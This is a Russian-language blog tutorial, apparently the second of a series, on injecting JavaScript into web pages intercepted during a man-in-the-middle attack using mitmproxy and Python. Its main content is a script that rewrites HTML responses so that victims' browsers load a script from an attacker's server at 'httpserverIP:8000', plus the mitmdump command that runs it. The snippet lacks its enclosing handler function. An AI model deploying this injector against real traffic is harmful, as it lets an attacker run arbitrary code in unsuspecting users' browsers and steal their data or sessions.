mitmproxy,API Python,внедряем свой код в html.

Ну что же. В первой части мы разобрались как нам провести MITM атаку и перехватить трафик. Теперь пора нам этот трафик модифицировать с помощью пакета mitmproxy и языка программирования Python. К стати  mitmproxy имеет хороший API и мы можем на лету менять очень многое.


Вся информация предоставлена исключительно в ознакомительных целях.  Автор не несет ответственности за любой возможный вред, причиненный информацией из данной статьи.


Собственно мы хотели внедрить свой  jаvascript в html страницу пользователя, а точнее я предлагаю загрузить его пользователю. Добавим одной строчку.




Как же это все работает. Набирая  адрес сайта в браузере мы отправляем серверу запрос, обратно получаем ответ GET с генерированной html страницей и потом подгружаются картинки и т.д. Я конечно упрощаю все схему, но это не суть важно. Вот собственно сам заголовок ответа сервера:


(Status-Line):HTTP/1.1 200 OK
Server:nginx/1.14.0
Date:Tue, 27 Nov 2018 19:41:12 GMT
Content-Type:text/html; charset=UTF-8
Connection:keep-alive
X-Powered-By:PHP/7.1.24
Vary:Accept-Encoding,Cookie
Cache-Control:max-age=3, must-revalidate
Content-Length:152471

text/html; charset=UTF-8 тут и говориться что это текст html который мы и хотим изменить. Не будем откладывать в долгий ящик, вот и сам код скрипта на питоне


from bs4 import BeautifulSoup
from mitmproxy import http

html = BeautifulSoup(flow.response.content, "html.parser") # парсим ответы сервера
print(flow.response.headers["content-type"]) #пишем тип 
if flow.response.headers["content-type"] == 'text/html':  # Если тип text/html
    script = html.new_tag(
   "script",
    src='http://httpserverIP:8000/script.js',
    type='application/jаvascript') #добавляем новый тег
    html.body.insert(0, script)
    flow.response.content = str(html).encode("utf8") #Обновляем ответ сервера и отсылаем пользователю
    print("Script injected.")

Beautiful Soup — это парсер для синтаксического разбора файлов HTML/XML, написанный на языке программирования Python. К сожалению я не смог найти нормальное описания API mitmproxy, так что если кто подскажет буду признателен. Далее запускаем все это дела с нашим скриптом:


mitmdump -s injector.py




Добавить комментарий

Автору будет очень приятно получить обратную связь.

Комментариев 0